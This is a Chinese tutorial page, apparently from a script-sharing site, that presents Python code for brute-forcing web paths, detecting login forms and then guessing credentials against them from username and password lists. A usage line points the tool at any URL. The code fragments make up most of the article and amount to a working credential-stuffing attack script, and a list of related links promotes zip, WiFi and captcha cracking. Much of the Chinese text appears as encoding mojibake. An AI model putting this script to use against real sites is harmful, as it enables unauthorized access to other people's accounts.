python遍歷路徑破解表單的示例
首先是利用python遍歷路徑,采用字典爆破的形式,當(dāng)然如果只是單純的爆破路徑,簡(jiǎn)單寫一個(gè)多線程腳本就行了。這里考慮如何對(duì)爆破到的路徑進(jìn)行第二步利用,此處嘗試對(duì)猜解到的路徑進(jìn)行表單發(fā)現(xiàn)及登陸爆破處理。
首先就是路徑爆破,采用多線程隊(duì)列,爆破路徑,判斷形式為200響應(yīng)碼。
while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try: r = requests.get(self.url+queue,timeout=5, headers=self.headers) if r.status_code == 200: print "[200] %s" %(queue) soup = BeautifulSoup(r.content,'html.parser') if soup.find('form'): self.brute(soup, queue)
猜解到路徑后交給brute方法處理,方法實(shí)現(xiàn)了一個(gè)css選擇器,獲取form表單中的input字段標(biāo)簽,提取標(biāo)簽參數(shù)組合成post參數(shù)值,然后提取表單中的action跳轉(zhuǎn)頁(yè)面,如沒(méi)有頁(yè)面默認(rèn)在當(dāng)前表單頁(yè)提交。
input = soup.select("form input") for i in input: try: if i.attrs['type'] == "hidden": name, value = i.attrs['name'], i.attrs['value'] list_post.append(name+'='+value) elif i.attrs['type'] == 'password': name = i.attrs['name'] list_post.append(name+'=$$$') else: name = i.attrs['name'] list_post.append(name+'=%%%') except: continue for i in list_post: post = post + i + '&' action = soup.find_all('form') for i in action: if i['action']: actiontag = i['action'] else: actiontag = queue self.payload(post, actiontag)
獲取參數(shù)值后,交給payload方法處理登陸,采用requests庫(kù)的session登陸。獲取cookie,先采用session請(qǐng)求獲取cookie后,再采用session攜帶cookie進(jìn)行請(qǐng)求提交。然后對(duì)輸入的驗(yàn)證值進(jìn)行判斷是否為登陸成功。
for name in self.username(): post_user = post.replace('%%%',name.strip()) for pwd in self.password(): post_pwd = post_user.replace('$$$',pwd.strip()) session = requests.Session() session.get(self.url+'/'+action, headers=self.headers, verify=False) r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False) if self.word in r.content: print '[username] %s' %name +'\r' + '[password] %s' %pwd return
為了判斷是否登陸成功,采用的人為輸入判斷字符串的形式。也就是腳本執(zhí)行形式為
python xxx.py http://xxxx.com xxxxx
以上就是python遍歷路徑破解表單的示例的詳細(xì)內(nèi)容,更多關(guān)于python 破解表單的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
- Python爬蟲(chóng)如何破解JS加密的Cookie
- Python爬蟲(chóng)實(shí)現(xiàn)Cookie模擬登錄
- Python暴力破解Mysql數(shù)據(jù)的示例
- python破解同事的壓縮包密碼
- python簡(jiǎn)單利用字典破解zip文件口令
- Python破解BiliBili滑塊驗(yàn)證碼的思路詳解(完美避開(kāi)人機(jī)識(shí)別)
- 詳解python破解zip文件密碼的方法
- 如何使用Python破解ZIP或RAR壓縮文件密碼
- Python爬取破解無(wú)線網(wǎng)絡(luò)wifi密碼過(guò)程解析
- python 利用pywifi模塊實(shí)現(xiàn)連接網(wǎng)絡(luò)破解wifi密碼實(shí)時(shí)監(jiān)控網(wǎng)絡(luò)
相關(guān)文章
如何用OpenCV -python3實(shí)現(xiàn)視頻物體追蹤
OpenCV是一個(gè)基于BSD許可(開(kāi)源)發(fā)行的跨平臺(tái)計(jì)算機(jī)視覺(jué)庫(kù),可以運(yùn)行在Linux、Windows、Android和Mac OS操作系統(tǒng)上。這篇文章主要介紹了如何用OpenCV -python3實(shí)現(xiàn)視頻物體追蹤,需要的朋友可以參考下2019-12-12flask循環(huán)導(dǎo)入的問(wèn)題解決
循環(huán)導(dǎo)入是指兩個(gè)文件相互導(dǎo)入對(duì),本文主要介紹了flask循環(huán)導(dǎo)入的問(wèn)題解決,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2023-04-04python基于BeautifulSoup實(shí)現(xiàn)抓取網(wǎng)頁(yè)指定內(nèi)容的方法
這篇文章主要介紹了python基于BeautifulSoup實(shí)現(xiàn)抓取網(wǎng)頁(yè)指定內(nèi)容的方法,涉及Python使用BeautifulSoup模塊解析html網(wǎng)頁(yè)的相關(guān)技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-07-07Python Pygame實(shí)戰(zhàn)之實(shí)現(xiàn)經(jīng)營(yíng)類游戲夢(mèng)想小鎮(zhèn)代碼版
作為一名模擬經(jīng)營(yíng)類游戲的發(fā)燒友,各種農(nóng)場(chǎng)類、醫(yī)院類、鐵路類的游戲玩兒了很多年。今天用代碼給大家打造一款夢(mèng)想小鎮(zhèn)游戲,希望大家喜歡啦2022-12-12Python實(shí)現(xiàn)按鍵精靈版的連點(diǎn)器
這篇文章主要為大家詳細(xì)介紹了如何利用Python實(shí)現(xiàn)按鍵精靈版的連點(diǎn)器,文中的示例代碼講解詳細(xì),具有一定的學(xué)習(xí)價(jià)值,感興趣的小伙伴可以了解一下2023-06-06Python實(shí)現(xiàn)的樸素貝葉斯算法經(jīng)典示例【測(cè)試可用】
這篇文章主要介紹了Python實(shí)現(xiàn)的樸素貝葉斯算法,結(jié)合實(shí)例形式詳細(xì)分析了Python實(shí)現(xiàn)與使用樸素貝葉斯算法的具體操作步驟與相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下2018-06-06Python爬蟲(chóng)實(shí)戰(zhàn)項(xiàng)目掌握酷狗音樂(lè)的加密過(guò)程
在常見(jiàn)的幾個(gè)音樂(lè)網(wǎng)站里,酷狗可以說(shuō)是最好爬取的啦,什么彎都沒(méi)有,所以最適合小白入門爬蟲(chóng),本篇針對(duì)爬蟲(chóng)零基礎(chǔ)的小白,所以每一步驟我都截圖并詳細(xì)解釋了,其實(shí)我自己看著都啰嗦,歸根到底就是兩個(gè)步驟的請(qǐng)求,還請(qǐng)大佬繞路勿噴2021-09-09